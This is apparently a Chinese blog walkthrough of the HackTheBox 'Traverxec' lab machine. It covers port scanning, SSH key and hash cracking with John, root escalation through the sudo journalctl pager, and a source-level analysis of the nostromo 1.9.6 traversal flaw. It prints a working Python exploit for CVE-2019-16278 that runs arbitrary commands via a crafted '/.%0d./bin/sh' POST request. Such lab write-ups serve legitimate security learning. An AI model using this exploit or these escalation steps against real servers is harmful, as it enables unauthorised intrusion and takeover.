文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-02-14   1.4k

HTB::Traverxec Walkthrough

0x01 Introduction

0x02 Tools and Tips

  • nmap
  • searchexploit
  • nostromo 1.9.6
  • LinEnum.sh
  • JohnTheRipper
  • GTFObins

0x03 Penetration Test

nmap扫描端口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Nmap scan report for 10.10.10.165
Host is up (0.083s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .

浏览器打开10.10.10.165,有一个发邮件的功能:

多次测试发现没什么用,感觉这个网站是个半成品。但是我们注意到他用的中间件是nostromo 1.9.6,查一下有没有相关的exploit

刚好有一个远程代码执行的漏洞可以利用。

直接利用获取shell

再返回一个交互式shell,python -c "import pty;pty.spawn('/bin/bash')"

在本机上启动一个服务器,将提权脚本传到靶机:

给执行权限:chmod +x LinEnum.sh,执行脚本./LinEnum.sh

发现有一个david用户,还找到了一个密码:

用JohnTheRipper尝试解密:

尝试用Nowonly4me连接ssh以及su密码发现都不正确。并且不能直接cd进入/home/david目录。Google了一下思路,网上说仔细看看配置文件:

HOMEDIRS中配置一个homedirs_public路径,试一下看能不能进入:

发现了一个压缩文件,在/tmp目录下解压:

把这个密钥copy到主机用JohnTheRipper爆破:

爆破出密钥的认证密码hunter,用SSH连接,得到user.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[email protected]:~$ cd /home/david/
[email protected]:~$ ls -la
total 36
drwx--x--x 5 david david 4096 Oct 25 17:02 .
drwxr-xr-x 3 root root 4096 Oct 25 14:32 ..
lrwxrwxrwx 1 root root 9 Oct 25 16:15 .bash_history -> /dev/null
-rw-r--r-- 1 david david 220 Oct 25 14:32 .bash_logout
-rw-r--r-- 1 david david 3526 Oct 25 14:32 .bashrc
drwx------ 2 david david 4096 Oct 25 16:26 bin
-rw-r--r-- 1 david david 807 Oct 25 14:32 .profile
drwxr-xr-x 3 david david 4096 Oct 25 15:45 public_www
drwx------ 2 david david 4096 Oct 25 17:02 .ssh
-r--r----- 1 root david 33 Oct 25 16:14 user.txt
[email protected]:~$ cat user.txt
7db0b[--------------------]d9782f3d

在这个目录下还有一个bin文件夹:

我们基本上看到它只是输出一个HEAD(bin目录中的另一个文件)和有关服务器的一些信息。 该脚本的最后一行是最重要的,它先运行sudo,然后运行journalctl,也就是说journalctl正在以root的特权运行,因此,如果我们能控制journalctl也就拥有root特权。 但是,我们似乎无法更改任何参数。 运行除sudo journalctl -n5 -unostromo.service以外的任何内容时,将要求提供密码。

没什么思路,只能再一次求助Google,提示我们用GTFObins:

运行/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service时,把窗口缩小一点,再输入!/bin/sh,成功获得root权限:

0x04 Summary

Traverxec是一个基于Linux的靶机,开放了普通的22和80端口,80端口上运行的网站没有什么可以利用的,但是网站的中间件服务nostromo 1.9.6有一个目录穿越绕过进而造成代码执行的漏洞,以www-data权限进入靶机后,发现/home/david目录不可达。但是查看nostromo文档发现,配置文件有一个HOMEDIRS的选项,其中homedirs_public属性指定了网站的主目录,发现/home/david/pulic_www/是可达的,里面有david的私钥。提权的过程查了一下Google,发现/home/david/bin目录下有一个脚本,而且/usr/bin/journalctl是作为 root 运行的,查看 GTFObins,发现通过 sudo 运行的 journalctl 可以被利用来提权,缩小窗口进而触发pager,获得root权限。

0x05 nostromo 1.9.6 exploit

源码分析一下nostromo 1.9.6的目录穿越漏洞。先贴上利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
help_menu = '\r\nUsage: cve2019-16278.py <Target_IP> <Target_Port> <Command>'

def connect(soc):
response = ""
try:
while True:
connection = soc.recv(1024)
if len(connection) == 0:
break
response += connection
except:
pass
return response

def cve(target, port, cmd):
soc = socket.socket()
soc.connect((target, int(port)))
payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1'.format(cmd)
soc.send(payload)
receive = connect(soc)
print(receive)

if __name__ == "__main__":

print(art)

try:
target = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3]

cve(target, port, cmd)

except IndexError:
print(help_menu)

首先,服务器会验证请求然后处理它。

在上图的函数http_verify()中,请求的首行会先进行解码,然后检查/../是否存在。注意,此时攻击请求的首行包含/.\r./.\r./.\r./.\r./bin/sh

接下来,函数http_proc()会将首行传递给函数http_header()

漏洞根源就在这,函数http_header()会通过函数strcutl()解析数据。

而在函数strcutl()的内部,你可以看到它会把字符串中的\r(回车)去除。

最后,得到的路径是/../../../../bin/sh。那么,目录穿越完成,命令执行如何进行呢?在函数http_proc()中的execve()函数(用于执行指定程序)中,它执行了rh->rq_filef,这正是路径过滤后的结果/../../../../bin/sh

于是,我们就得到了一个可导致RCE的目录穿越。

不得不说发现这个漏洞的师傅代码审计能力真强,我们都是弟弟。

0x05 Reference

https://blog.csdn.net/JBlock/article/details/88619117

Copyright © ca01h 2019-2020 | 本站总访问量